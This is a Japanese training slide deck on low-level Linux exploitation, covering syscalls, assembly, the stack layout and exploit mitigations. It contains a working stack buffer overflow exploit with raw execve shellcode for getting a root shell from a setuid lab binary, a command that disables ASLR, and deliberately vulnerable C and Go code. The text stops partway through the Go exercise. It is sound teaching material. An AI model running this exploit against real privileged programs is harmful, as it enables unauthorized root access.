1 of 76

Exploitation Fundamentals

2020 Jan 22th

@rung - Mercari Security Team

日本語(Japanese)

2 of 76

  • Name
    • Hiroki Suezawa (@rung)
  • Title
    • Security Engineer at Mercari, Inc.
    • 最近はSysdig FalcoやgosecプロジェクトへのContributeを始めました!
    • TLSなどのプロトコルが好きです
  • Hobby
    • 紅茶 (Black Tea)
      • ルフナ・ダージリン1st Flush・ニルギリ

3 of 76

Caution

  • 本資料で学んだことを、悪用しないでください。
  • セキュリティや低レイヤに興味のあるSoftware Engineerを対象に資料を作成しています。
  • 本資料にはCのコードやPythonのコード、アセンブリ言語が出てきますが、特に各言語に詳しい必要はありません。

4 of 76

Prepareration

  • Docker
    • MacおよびLinux(Ubuntu18.04, VM上でもOK)で検証済みです。
    • ネットワークの負荷削減のため、事前にDocker imageをpullしておいてください

docker pull suezawa/exploit-example1 && docker pull suezawa/exploit-exercise1 && docker pull suezawa/exploit-exercise2 && docker pull suezawa/exploit-exercise3

5 of 76

Cheat sheet

  • Assembly cheatsheet
  • CPU Registers cheatsheet
    • 本スライドでの解説
  • GDB cheatsheet
  • ASCII code sheet
    • ascii (man)

6 of 76

Introduction

7 of 76

Introduction

Security is fun

  • 本セッションの目的
    • コンピュータがどのように動いているか、セキュリティを通して理解を深める
      • コンピュータの基本は変わっていないため、低レイヤの知識は長持ちすることも多い
      • 本資料の内容の主な説明内容は、セキュリティというよりコンピュータの話でもある
    • アプリケーションの脆弱性がどのように攻撃されるのかの理解を深める
    • Security is fun! 攻撃を学ぶことで、防御をどのように行うかを考えることが出来る
  • 対象
    • セキュリティや低レイヤに興味のあるソフトウェアエンジニア
  • 理解について
    • 本セッションには一回で理解するのが難しい内容も含まれています
      • 興味を持った方が復習できることを想定して資料を作っています
      • 低レイヤに馴染みのない方は、まずは雰囲気を掴むところからで大丈夫です
      • 少しずつExercise 2 (Stack Buffer Overflow)やExercise 3 (Advanced)で何が起きたかを一つ一つ確認していってください
      • 一部のDemo動画では何が起きているかを説明するための画像も付けています

8 of 76

Introduction

進め方

  • 説明する攻撃について
    • 実行されているプロセスの制御を奪って、攻撃コードを実行させます。
  • 進め方
    • 1. Introduction
      • 最初に、前提となるコンピュータの動きについての説明をします。デバッガを使って、コンピュータが実行する命令を追っていきます
    • 2. Stack Buffer Overflow
      • 実際の攻撃の理解に入っていきます。用意された攻撃コードを追っていきます。
    • 3. Advanced
      • 現代のLinuxがどのような攻撃Mitigation技術を備えているかを説明します。
      • 脆弱なGoコードを、用意された攻撃コードを用いて攻撃します。
  • 演習について
    • まずはrungが前でやります。
    • そのあと、みなさんが同じことをローカルで試す時間をとります

9 of 76

Introduction

Environment

  • Linux x64 (64bit)
    • このセッションで学ぶ内容は全てLinuxに関するものです
    • Docker for Mac経由で利用 ※Docker for Windowsも検証はしていないが動くはず
  • 演習・デモ環境用Githubレポジトリ
    • rung/training-exploit-fundamentals
    • 本資料に記載の全コマンドは、Docker上で試せるようになっています。
      • Example 1: Hello World!
      • Exercise 1: Function Call
      • Exercise 2: Stack Buffer Overflow
      • Exercise 3: Advanced (ROP)

10 of 76

Introduction

(Reference) Environment

  • Architecture of Docker for Mac
    • Mac上にVMが立っており、Linuxカーネルが動いている。
    • コンテナはLinuxカーネルとやりとりをする

Mac

VM/Hypervisor

Linux Kernel

Container1

Container2

Container3...

11 of 76

Introduction

攻撃の種類

  • サイバーセキュリティの攻撃の流れ
    • 侵入→権限昇格→偵察→横展開→情報窃取

    • 参考: MITRE ATT&CK Freamwork
    • ツールを用いて既知の脆弱性を攻撃されることも多い (MetasploitExploit Kit)
  • 本資料ではStack Buffer Overflow脆弱性を利用して、プログラムの制御を奪い任意コード実行を行う
    • 任意コード実行は、初期の侵入を始めとして、攻撃の各ステージで利用される。
    • 利用用途例
      • 権限昇格 (本セッションの対象)
        • Setuidなどで高権限を持っているバイナリを攻撃。rootに権限昇格する
      • リモートコード実行
        • リモート経由で攻撃。接続先のサーバのシェルを操作する

Company / Cloud

12 of 76

  1. Computer Systems

13 of 76

Computer Systems

  • 本セッションで紹介する攻撃の理解のためには、コンピュータの動作についての理解が必須となります。
  • 1章では、関連するコンピュータの動作について説明していきます。

14 of 76

Computer Systems

What OS does

  • コンピュータは入出力デバイス(I/O Device)、ネットワークアダプタなどを通して人やネットワークとinteractiveにやりとりを行う

  • OSは各デバイスに固有の処理を吸収し、Applicationに共通インターフェースを提供する

Computer

CPU

Memory

External Device

I/O Device

Storage Device

Network

OS

(Linux Kernel)

Application

Network Adapter A

Storage Device A

Storage Device B

Keyboard

Standard interface

Device driver

15 of 76

Computer Systems

What OS does

Resource Management

  • 複数のプロセスがOS上で稼働できるようスケジューラやメモリ管理機能を備えている

OS

(Linux Kernel)

Application Process1

Application Process2

Application Process3

Application Process3

Scheduling

Memory Management

16 of 76

Computer Systems

System call (Syscall)

Standard Interface (System call)

  • OSは、システムコールという共通インターフェースを備えており、ユーザランドの各アプリケーションはシステムコールを介してカーネルの機能(プロセス生成・メモリ確保・ネットワーク通信・ファイル操作など)を実施する
    • アプリケーションは、プロセス管理やタスクスケジュール、ファイルシステム、各デバイスの詳細を気にせずに利用することが出来る

OS (Linux Kernel)

Process A

libc (standard library)

System Call

Hardware

User land

(ユーザーランド)

Kernel

17 of 76

Computer Systems

System call (Syscall)

  • Linuxには300を超えるシステムコールがある (一覧)
    • プロセスの起動: fork() -> execve()
    • ネットワーク通信: socket() -> connect()
    • ファイルの読み込み: open() -> read()
  • 本セッションの攻撃で利用するシステムコール
    • read 標準入力・ファイル・ネットワーク通信などを読み込むシステムコール
      • read(int fd, void *buf, size_t count);
        • fd = file descripter
        • *buf = 読み込む先のポインタ(メモリアドレス)
        • count = 読み込むサイズ
    • execve 実行ファイルを実行するシステムコール
      • int execve(const char *pathname, char *const argv[], char *const envp[]);
        • *pathname = ファイルパス
        • argv[] = 実行時のオプション
        • envp[] = 環境変数

18 of 76

Computer Systems

System call (Syscall) - libc

  • System Callを呼び出すためのライブラリをOSは用意している
    • デファクトスタンダードはGlibc (GNU Libc)
      • C言語を書くときに使う. C, C++, Perl, Python, Rubyなどほとんど全ての言語で最終的に呼び出されている
    • libcはSystem Callを呼び出すためのラッパー関数を用意している (man)
      • long syscall(long number, ...);
        • number = システムコール番号
    • その他libcの例
      • stdio.h (printf)、socket.h(socket)などを始めとした主要ライブラリ群
      • こういった主要ライブラリ群も、最終的にはsyscall関数を呼び出してカーネルとやりとりしている
  • システムコールが呼ばれたらカーネルモードに遷移、処理が終わったらユーザランドに戻ってくる

Syscall

Process

Return

Kernel

Process

User Mode

Kernel Mode

19 of 76

Computer Systems

[Demo] Hello Worldからシステムコールの呼び出しをみる

  • Syscallラッパー関数を直接呼び出しするコード
    • docker run --rm -it suezawa/exploit-example1 bash
      • コード本体

  • write system call
    • ssize_t write(int fd, const void *buf, size_t count);
      • fd = file descriptor, 1は標準出力
      • buf = 文字列へのポインタ
      • count = サイズ len(“Hello, world!”)
    • ※printf関数も、最終的にwrite syscallを呼び出している

#include <sys/syscall.h>

int main() {

syscall(SYS_write, 1, "Hello World!\n", 14);

return 0;

}

SYS_write = 1

Hello World!\n\0�(\0 is a null character)

20 of 76

Computer Systems

[Demo] Hello Worldからシステムコールの呼び出しをみる

  • Run

  • strace: System Call呼び出しを確認できるコマンド
    • 全システムコールの確認

    • writeシステムコールのみ確認

$ docker run --rm -it suezawa/exploit-example1 bashroot@d267406bb2b6:/home/appuser# ./hello

Hello World!

root@d267406bb2b6:/home/appuser# strace ./hello

root@d267406bb2b6:/home/appuser# # strace -e trace=write ./hello

write(1, "Hello World!\n\0", 14Hello World!

) = 14

+++ exited with 0 +++

21 of 76

Computer Systems

[Demo] Hello Worldからシステムコールの呼び出しをみる

root@42fdb5c98a68:/home/appuser# strace ./hello

execve("./hello", ["./hello"], 0x7ffd09c3a070 /* 10 vars */) = 0

brk(NULL) = 0x1639000

access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)

access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)

openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3

fstat(3, {st_mode=S_IFREG|0644, st_size=21467, ...}) = 0

mmap(NULL, 21467, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f183e438000

close(3) = 0

access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)

openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3

read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260\34\2\0\0\0\0\0"..., 832) = 832

fstat(3, {st_mode=S_IFREG|0755, st_size=2030544, ...}) = 0

mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f183e436000

mmap(NULL, 4131552, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f183de26000

mprotect(0x7f183e00d000, 2097152, PROT_NONE) = 0

mmap(0x7f183e20d000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7f183e20d000

mmap(0x7f183e213000, 15072, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f183e213000

close(3) = 0

arch_prctl(ARCH_SET_FS, 0x7f183e4374c0) = 0

mprotect(0x7f183e20d000, 16384, PROT_READ) = 0

mprotect(0x600000, 4096, PROT_READ) = 0

mprotect(0x7f183e43e000, 4096, PROT_READ) = 0

munmap(0x7f183e438000, 21467) = 0

write(1, "Hello World!\n\0", 14Hello World!

) = 14

exit_group(0) = ?

+++ exited with 0 +++

root@42fdb5c98a68:/home/appuser#

22 of 76

Computer Systems

CPU

  • CPUアーキテクチャ
    • CPUアーキテクチャごとに、独自の命令セットを持っている
      • Intel x86、x64(x86-64)、ARM、RISC
    • 現在サーバで最も使用されているIntelのx64 (x86-64)アーキテクチャを本セッションでは扱う

23 of 76

Computer Systems

CPU

  • レジスタ
    • CPUの内蔵する記憶装置
    • 各レジスタのサイズは64bit (8byte)
  • 記憶領域 (詳細な動きはあとで見ていきます)
    • RIP: インストラクションポインタ。� 次に実行する命令のアドレスを指す
    • RSP: スタックポインタ。スタックのトップの� アドレスを指している
    • RBP: ベースポインタ。スタックフレームの� 開始アドレスを指している
    • その他 (RAX, RBX, RCX, RDX, RSI, RDI, R8〜R15)
      • 今回は値を保存する領域とだけ認識

Memory

machine code

010101010111101101010101010

Address

(Instraction Pointer

Program Counter)

RIP

Memory (Stack)

Stack for function1()

Stack Pointer

Stack for main()

RSP

RBP

Base Pointer

24 of 76

Computer Systems

CPU

  • 機械語 (Machine Code)
    • CPUは、メモリ上の機械語で書かれた命令を実行していく

  • アセンブリ言語 (Assembly Language)
    • 機械語を人間が扱うのは厳しいので、機械語を人間にわかりやすい形で記述するための言語が用意されている
    • アセンブル (Assemble)
      • アセンブリ→機械語変換
    • ディスアセンブル (Disassemble)
      • 機械語→アセンブリ変換

Memory

machine code

010101010111101101010101010101101010101011011010101010101101010111010010110101010101

Execution

25 of 76

Computer Systems

CPU

  • 主要なAssembly

    • 記法が二種類ある(AT&T記法、Intel記法)。今回はIntel記法を扱う
    • Ref: NASM Intel x86 Assembly Language Cheat Sheet
      • x64(x86-64, 64bit)でなくIntel x86(32bit)時のチートシートだが基本は同じ

xor A, B

AとBをxorする。Aに結果が入る

mov A, B

BをAに移す

add/sub A, B

Aの値にBを足す/Aの値からBを引く

push/pop A

Aの値をスタック(メモリ上)にpushする/スタックから値をpopする

call [memory address]

別関数にジャンプする + 戻りアドレスをスタックにpushする ※関数に入るときに使う

leave

スタックをrbpと同じアドレスに戻す + pop rbpする (mov esp, ebp ; pop ebp)

ret

スタックの一番上に詰まれている値(RSP)にジャンプする + スタックの一番上の値をpopする※元の関数に戻るときに使う

syscall

システムコールを呼び出す

26 of 76

Computer Systems

[Demo] Let’s see aseembly

int main() {

syscall(SYS_write, 1, "Hello World!\n", 14);�

return 0;�}

$ docker run --rm -it suezawa/exploit-example1 bash

root@ab61fa957ebd:/home/appuser# objdump -M intel -l -S -d hello | grep -A12 "<main>:"

00000000004004c2 <main>:

main():� 4004c2: 55 push rbp

4004c3: 48 89 e5 mov rbp,rsp� 4004c6: b9 0e 00 00 00 mov ecx,0xe

4004cb: ba 74 05 40 00 mov edx,0x400574

4004d0: be 01 00 00 00 mov esi,0x1

4004d5: bf 01 00 00 00 mov edi,0x1

4004da: b8 00 00 00 00 mov eax,0x0

4004df: e8 fc fe ff ff call 4003e0 <syscall@plt>�

4004e4: b8 00 00 00 00 mov eax,0x0

4004e9: 5d pop rbp

4004ea: c3 ret

27 of 76

Computer Systems

Executable file

  • Linuxの実行ファイルはELF形式
  • コンパイルの流れ

root@cbe820491a8f:/home/appuser# file hello.s

hello.s: assembler source, ASCII text

root@cbe820491a8f:/home/appuser# file hello.o

hello.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), with debug_info, not stripped

root@cbe820491a8f:/home/appuser# file hello

hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, not stripped

Assembly Code

.main

push rbp

mov rbp, rsp

mov ecx, 14

mov esi, 1

….

Assemble

Source Code

#include <sys/syscall.h>

int main() {

syscall(SYS_write, 1, "Hello World!\n", 14);

return 0;

}

Compile

Object file

Machine code�010101010010101110101100101010101010010

ELF file (Executable)

Link

Machine code�010101010010101110101100101010101010010

Memory Info

library info

gcc -v -c hello.s -o hello.o

Assembler: as (gcc is wrapper)

gcc -v hello.o -o hello�Linker: ld (gcc is wrapper)

gcc -v -S hello.c -masm=intel -o hello.s�C Compiler: cc1

28 of 76

Computer Systems

Executable file

  • Dynamic Link and Static Link
    • Dynamic Link (動的リンク)
      • 共有ライブラリ(Shared Library)を別ファイルとしており実行時に併せてロード.
      • lddコマンドでリンクしているライブラリを表示できる

��

    • Static Link (静的リンク)
      • 共有ライブラリの実行コードを、実行ファイルに含める

ELF file (Executable)

Machine code�010101010010101110101100101010101010010

Memory Info

library info

libc.so

root@86be50368e20:/home/appuser# ldd hello

linux-vdso.so.1 (0x00007ffdbc983000)

libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff9c6614000)

/lib64/ld-linux-x86-64.so.2 (0x00007ff9c6a05000)

root@1e862b573a86:/home/appuser# ldd static_hello

not a dynamic executable

ELF file (Executable)

Machine code (main)�010101010010101110101100101010101010010

Memory Info

Machine code (libc)�010101010010101110101100101010101010010

Dynamic Link

Static Link

29 of 76

Computer Systems

Program Execution

  • プログラムの実行
    • execve("./hello", ["./hello"], 0x7ffdaccda970)
  • ローダー
    • Linux Kernelが実行ファイルをメモリ上に展開
    • x64の機械語(Machine Code)を最初から実行
      • Dynamic Linkで実行ファイルと共有ライブラリが分かれている場合でも、実行時には共有ライブラリの内容がメモリ上に読み込まれる

Linux Kernel

ELF executable

Load

0xffffffffffffffff

0x00

Virtual Memory (仮想メモリ)

Machine Code(.text Segment)

.rodata Segment

.bss Segment

Heap segment ↓���������Stack Segment ↑

main() 0101010101

libc 010010011010100101

.data Segment

* Only major segments included

30 of 76

Computer Systems

Physical Memory/Virtual Memory

  • 仮想メモリ (Virtual Memory)
    • CPUは仮想メモリという仕組みを持っている。
    • 各プロセスは実際の物理アドレスを扱わず、仮想メモリのみ扱う
      • 複数のプロセスが同じメモリアドレスを使うことが出来る
    • Kernalはページテーブルを管理しており、仮想アドレスと物理アドレスの対応付けを行っている
    • CPUは仮想メモリと物理メモリを変換する仕組みを持っている (MMU)

Linux Kernel

Virtual Memory

Physical Memory

0-100

700-800

100-200

200-300

200-300

400-500

Page table

Process A

Process B

Process C

Manage

31 of 76

Computer Systems

Physical Memory/Virtual Memory

Process B

RIP (instruction pointer)

RIP (instruction pointer)

※GDBでメモリを確認する� 仮想メモリを利用しているので、別プロセスにも関わらず、同じメモリアドレスを利用できる。

RIP(現在実行している命令)が同じアドレスを指せる ※同じアドレスでも、入っている内容は異なる

Process A

32 of 76

Computer Systems

Memory Layout

Machine Code(.text Segment)

.rodata Segment

.bss Segment

Heap segment ↓���������Stack Segment ↑

0xffffffffffffffff

0x00

main() 0101010101

libc 010010011010100101

CPUが実行していく機械語(Machine Code)が入っている。

実行している命令のアドレスはRIP(Instraction Pointer)レジスタに入る。

Stack領域。高いアドレスから低いアドレスに伸びていく。

次ページで詳細を解説

今回主に使うのはtext領域とStack領域

malloc()で確保していく動的な領域

初期値なしのstatic変数・グローバル変数用領域

初期値ありのstatic変数・グローバル変数

* Only major segments included

.data Segment

定数(const)、文字列

33 of 76

Computer Systems

[Exercise] What we will do

  • Exercise1では攻撃はせずに、どのように関数が実行されていくかを理解します
    • 学んでほしいこと: 関数呼び出しごとにスタックフレームが積まれていき、関数の最後にret命令により元の関数にリターンすること
    • Exercise 1が理解できたら、次のChapterで説明する攻撃を理解することができます
  • 使用するコード
    • func_call.c
      • main()
        • function1()
          • function2()の順で関数を呼び出しています

# ./func_call

Hello

function1: arg1:Hello,arg2:1,var1:10

function2: arg1:Hello,arg2:2,var1:test,var2:20

34 of 76

Computer Systems

[Exercise] Stack Frame

  • 関数呼び出し - function1()の場合
    • main()でcall *function1 命令が呼ばれる
      • 関数の引数はarg6までレジスタ経由で渡す

    • call命令が呼ばれた際、あとで戻ってくるアドレスがStackに詰まれる
    • RBPの値をスタックに詰み(push rbp)、�RBPにスタックの先頭アドレスを入れる�(mov rbp, rsp)
    • ローカル変数などのために、スタック領域�を広げる(sub rsp, 0x20)
  • 関数終了時 - function1()
    • スタック領域を戻す (leave)
    • 元のアドレスに戻る(ret)
      • ret == pop rip

Stack Segment ↑

High Address

Virtual Memory (仮想メモリ)

Low Address

Return Address

Local Variables

main()

Return Address

Local Variables

function1()

Saved RBP

Saved RBP (main())

function(arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8);

RDI

RSI

RDX

RCX

R8

R9

Use stack

RSP

RBP

35 of 76

Computer Systems

[Exercise] Demo

  • 今回演習で実施する内容のデモをします
    • 学んでほしいこと: 関数呼び出しごとにスタックフレームが積まれていき、関数の最後にリターンすること
  • やること

36 of 76

Computer Systems

[Exercise] Demo

  • func_call.c

#include <stdio.h>

#include <string.h>

void function2(char *arg1, int arg2) {

char var1[5];

strcpy(var1, "test");

int var2 = 20;

printf(" function2: arg1:%s,arg2:%d,var1:%s,var2:%d\n", arg1, arg2, var1, var2);

return;

}

void function1(char *arg1, int arg2) {

int var1 = 10;

printf(" function1: arg1:%s,arg2:%d,var1:%d\n", arg1, arg2, var1);

function2(arg1, 2);

return;

}

int main() {

printf("%s", "Hello\n");

function1("Hello", 1);

return 0;

}

37 of 76

Computer Systems

GDB Tutorial

  • GDB (GDB Quick Reference)

起動時

GDB内

レジスタ

機械語のDisassemble

スタック(RSP)

に詰まれている値

ソースコード(Exercise1のみ)

※実行ファイルにデバッグ情報が含まれている場合に表示

start

main()にbreakpointをsetして起動

run (r)

起動

continue (c)

実行を進める.breakpointがあると止まる

break(b) *<address>

breakpointをset

nexti (ni)

1命令進める. call命令で別functionに飛ばない

stepi (si)

1命令進める. call命令で別functionに飛ぶ

gdb <file>

GDB起動

38 of 76

Computer Systems

[Exercise] Demo

GDB with Stack Layout Image

39 of 76

Computer Systems

[Exercise] 関数呼び出しを追う

  • やること
  • 仮想メモリをイメージしながらGDBで命令を実行してください
    • 1. 用意された自動スクリプトで実行
      • gdb func_call -x gdb-autocommand
    • 2. ManualでGDBを実行
      • gdb func_call

40 of 76

2. Stack Buffer Overflow

41 of 76

Stack Buffer Overflow

Demo

  • 今回演習で使用する攻撃のデモをします
    • 何が起きているかをいま理解する必要はありません
  • 攻撃の実施手順
  • 今回の攻撃
    • Stack Buffer Overflow脆弱性を突いた攻撃
    • setuidされているbofバイナリの制御を奪い、通常ユーザからrootに昇格してシェルを実行
      • setuid: バイナリの所有者の権限で実行

# ls -l bof

-rwsr-sr-x 1 root root 8248 Jan 7 16:44 bof

# (setuid)

42 of 76

Stack Buffer Overflow

Demo - Attacking using exploit_print.py

43 of 76

Stack Buffer Overflow

What is Stack Buffer Overflow

  • 脆弱性の原因
    • C言語のgets, strcpy, scanf関数
      • メモリに何byteまで書き込んでいいか確認せずに書き込む
      • ローカル変数を超えた箇所にユーザからの入力を書いてしまう
      • 関数の最後の”ret命令”で呼び出されるreturn addressを上書くことが出来てしまう
        • → プログラムの制御(RIP)が奪われる

Stack Segment ↑

High Address

Virtual Memory (仮想メモリ)

Low Address

Return Address

Local Variables� char buf[100] (100byte)

Saved RBP

main()

gets(), strcpy(), scanf()

Write 200byte

Payload�(Shellcode)

44 of 76

Stack Buffer Overflow

How to attack

  • 今回攻撃するコード
    • 100byteしか確保していないbuf配列に、大量の文字列を読み込めるようになっている
      • gets(buf) = 標準入力をbuf配列に格納する

  • 大量の文字列を入力した場合の動作を確認�

    • → Return先のアドレスに、攻撃コードを仕込むと制御を奪える

#include <stdio.h>

int main()

{

char buf[100];

setlinebuf(stdout);

printf("buf = %p\n", buf);

gets(buf);

puts(buf);

return 0;

}

# python -c "print ('A'*200)" | ./bof

buf = 0x7fffffffe610

AAAAAAAAAAAAAAAA…..

Segmentation fault

root@b1df66264e7e:/home/appuser#

45 of 76

Stack Buffer Overflow

How to attack

  • How to attack
    • gets(buf)での標準入力の読み込みに、攻撃コードを送り込む
    • returnポインタを攻撃コードのアドレスに飛ばす
      • 今回は簡単に攻撃するために、bufのアドレスを表示させている

Stack Segment ↑

High Address

Low Address

Return Address

Local Variables� char buf[100] (100byte)

Shellcode (Payload) in Machine Code

AAAAAAAAAAAAAAAAAA

Shellcode Address

$ ./bof

buf = 0x7fffffffe610

46 of 76

Stack Buffer Overflow

Exploit

#!/usr/bin/python

import ...

# Write value of 'buf = '

buf_addr = int(sys.argv[1], 16)

# offset from buf: 120

# shellcode = 60 byte

# dummy = 60 byte('A')

shellcode = '\x48\x31\xc0\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x49\x89\xe0\x48\x31\xc0\x48\xc7\xc0\x2d\x70\x00\x00\x50\x49\x89\xe1\x48\x31\xc0\x50\x41\x51\x41\x50\x49\x89\xe2\x48\xc7\xc0\x3b\x00\x00\x00\x4c\x89\xc7\x4c\x89\xd6\x48\x31\xd2\x0f\x05'

shellcode += 'A' * 60

# return address

shellcode += struct.pack('<Q', buf_addr)

print(shellcode)

sys.stdout.flush()

# if len(sys.argv) == 2 and sys.argv[1] == "printonly":... (skip)

while True:

print(sys.stdin.readline())

sys.stdout.flush()

Adjust stack

Overwrite Return pointer

struct.pack(‘<Q’, ...) = Write 64bit integer by little endian

47 of 76

Stack Buffer Overflow

Shellcode

  • 攻撃コード (今回のソースコード)
    • シェルを呼び出すことが目的であることが多いため、「Shellcode」と呼ばれる
  • Shellcodeでやりたいこと
    • syscall(SYS_execve, “/bin/sh”, [“/bin/sh”, “-p”], 0) を呼び出す
      • このシステムコールを呼び出すと、今回攻撃する”bof”が、/bin/shに変更される
    • Syscallの呼び出し方
      • Syscall番号と引数をレジスタにsetして、”syscall”命令を呼ぶ

      • Ref: Interfacing_with_Linux
    • 今回は、下記の状態で”syscall”命令を呼ぶ

  • returnポインタで飛ばす先の命令は、機械語でなければならない
    • CPUが処理を移して実行していくから
  • シェルコード (アセンブリ)

rax

rdi

rsi

rdx

59 (SYS_execve)

“/bin/sh”�(pointer)

[“/bin/sh”, “-p”]�(pointer)

0�(NULL)

48 of 76

Stack Buffer Overflow

Shellcode

  • syscallが呼ばれる際のStack・レジスタの状態

rax

rdi

rsi

rdx

59 (0x3b)

(SYS_execve)

“/bin/sh”�(pointer)

[“/bin/sh”, “-p”]�(pointer)

0�(NULL)

Registers

Stack

pointer of “/bin/sh”

pointer of “-p”

null pointer (\0\0\0\0\0\0\0\0)

array

‘-p\0\0\0\0\0\0’

‘/bin/sh\0’

64bit

49 of 76

Stack Buffer Overflow

Exercise - GDB Demo

50 of 76

Stack Buffer Overflow

Exercise

  • 実践
    • 下記資料に沿ってやってみてください. 最初に必ずASLRの無効化をしてください
      • ASLRについては次の章で説明します

  • gdbを用いた理解 (次ページにVideoもあり)
    • gdb bof -x gdb-autocommand
    • 下記に注目してください
      • リターンポインタが上書きされた後、ret命令で攻撃コードに制御が移るところ
      • 攻撃コードによりsyscall命令(execveシステムコール)が呼び出されるところ
  • 注: 演習後、ASLRの再有効化を忘れないでください
    • Kernelの設定であり、その他の起動しているDocker imageにも影響を与えます

# sysctl -w kernel.randomize_va_space=2

kernel.randomize_va_space = 2

# sysctl -w kernel.randomize_va_space=0

kernel.randomize_va_space = 0

51 of 76

3. Advanced

52 of 76

Advanced

Overview

  • Chapter3: Advanced
    • 脆弱性のMitigation技術の紹介と、一部のMitigationを回避する攻撃手法を紹介する
  • 任意コード実行を防ぐための取り組み
    • 現代では、Linuxおよびコンパイラ側で攻撃へのMitigation技術を持っている
    • 攻撃と防御のいたちごっこをしながら改善されている
    • ※Stack Buffer Overflowの演習では、全てのMitigationを無効にしたバイナリを使用した
  • History
    • OS・コンパイラ
      • 2000年代前半 - Mitigationの開発、普及 (本Chapterで紹介)
        • ASLR, SSP, NX bitなど...
        • 徐々にOSおよび実行ファイルに普及
        • 攻撃研究者/攻撃者が各Mitigation技術の持つ弱点を使って攻撃手法を開発
          • 本Chapterで用いるROPという攻撃手法は2010年代初頭に普及
    • 脆弱性発見技術の向上
      • Fuzzing技術向上: American fuzzy lop Fuzzer (2013-)
        • Softwareに潜む大量のメモリ破壊バグの発見

53 of 76

Advanced

Mitigation

  • 主なMitigation技術 (次ページから詳細説明)
    • NX bit (DEP): 実行可能なセグメントを限定
    • ASLR (Address Space Layout Randomization): メモリアドレスのランダム化
    • PIE (Position-Independent Code): 実行コードのメモリアドレスランダム化
    • SSP (Stack Smashing Protection, Stack Canary): リターンポインタの上書き検知
    • その他のMitigation技術の例 (今回は詳細スキップ)
      • RELRO (RELocation Read-Only): メモリのRead-only化
      • FORTIFY_SOURCE: 危険な関数を別の関数に置き換え、動的にメモリ破壊をチェック
  • 各Mitigationが有効になっているか確認するツール
    • checksec (解説)

# checksec --file a.out

RELRO STACK CANARY NX PIE .... FILE

Full RELRO Canary found NX enabled PIE enabled .... a.out

54 of 76

Advanced

NX bit(No eXecute bit) / DEP

  • NX bit / DEPとは
    • コンパイル時に有効・無効を設定
    • GCCではデフォルトでON
    • 実行コード領域以外は実行できなくする
  • Recap: “2. Stack Buffer Overflow”での攻撃
    • NX bitがあるとStack領域にShellcodeを配置することは出来ない

0xffffffffffffffff

0x00

Virtual Memory (仮想メモリ)

Machine Code(.text Segment)

.rodata Segment

.bss Segment

Heap segment ↓���������Stack Segment ↑

main() 0101010101

libc 010010011010100101

.data Segment

* Only major segments included

No Execute

Execute

55 of 76

Advanced

ASLR (Address Space Layout Randomization)

  • ASLR (Address Space Layout Randomization)
    • OS側で設定. 現代は基本的にデフォルトON
    • Stack領域のアドレスをランダムにする
    • Heap領域(malloc)のアドレスをランダムにする
    • Dynamic Linkしたライブラリのアドレスをランダムにする(libcなど)
    • ELFファイルに含まれる実行コード・Static Linkされた実行コードはランダム化されない
  • PIE (Position-independent code)
    • ELFファイルに含まれる実行コードも含めてアドレスをランダム化する

0xffffffffffffffff

0x00

Virtual Memory (仮想メモリ)

Machine Code(.text Segment)

.rodata Segment

.bss Segment

Heap segment ↓���������Stack Segment ↑

main() 0101010101

libc 010010011010100101

.data Segment

* Only major segments included

randomize

56 of 76

Advanced

SSP (Stack Smashing Protection, Stack Canary)

  • SSP, Stack Canary
    • コンパイル時に有効・無効を設定
    • GCCではデフォルトでON
    • ランダムなCanaryをReturn Addressの上に配置しret前にCheckすることで、Stack Buffer Overflowを防ぐ

Stack Segment ↑

High Address

Virtual Memory (仮想メモリ)

Low Address

Return Address

Local Variables

main()

Return Address

Local Variables

function1()

Saved RBP

Saved RBP (main())

Stack Canary

Stack Canary

57 of 76

Advanced

C

  • Ubuntu18.04のgccでコンパイルした場合のデフォルト
    • ASLRはデフォルトで有効(OS側のみで設定)
    • 現代ではOS側・コンパイラ側のMitigation技術により、Stack Buffer Overflowで実施したような単純な攻撃は成立することが少ない
      • * 各Mitigation技術に対しての対策は存在している

# checksec --file a.out

RELRO STACK CANARY NX PIE .... FILE

Full RELRO Canary found NX enabled PIE enabled .... hello

a.out

58 of 76

Advanced

Go

  • Goのアプローチ
    • libcは使わない
      • System callを呼ぶアセンブリのコード自体がgoのlibraryで実装されている= libcの持っている機能の再実装が行われている
    • Static Link: シングルバイナリで共有ライブラリに依存しない
    • Security
      • メモリ境界はチェックが入るため、Stack Buffer Overflowなどのメモリ破壊は起こせないようになっている
  • Mitigation設定の確認
    • メモリの改ざんが出来ない前提のため、Stack Smashing Protection(Stack Canary)、PIE(実行コードアドレスのランダム化)などは無効化されている

$ bin/checksec --file hello

RELRO STACK CANARY NX PIE .... FILE

No RELRO No canary found NX enabled No PIE .... hello

59 of 76

Advanced

Exercise - Unsafe Library

  • Exercise
    • Unsafeライブラリは生ポインタを用いた操作をサポートしているためメモリ破壊を発生させられる
    • “3. Advanced”の演習として、バッファオーバーフロー脆弱性のあるGoコードを攻撃する
      • ソースコード
      • メモリのコピー関数においてバッファオーバーフロー脆弱性が発生

func main() {

buf := make([]byte, 32)

stdin := bufio.NewScanner(os.Stdin)

stdin.Scan()

text := stdin.Text()

memcpy(*(*uintptr)(unsafe.Pointer(&buf)), *(*uintptr)(unsafe.Pointer(&text)), len(text))

...

}

func memcpy(dst uintptr, src uintptr, len int) {

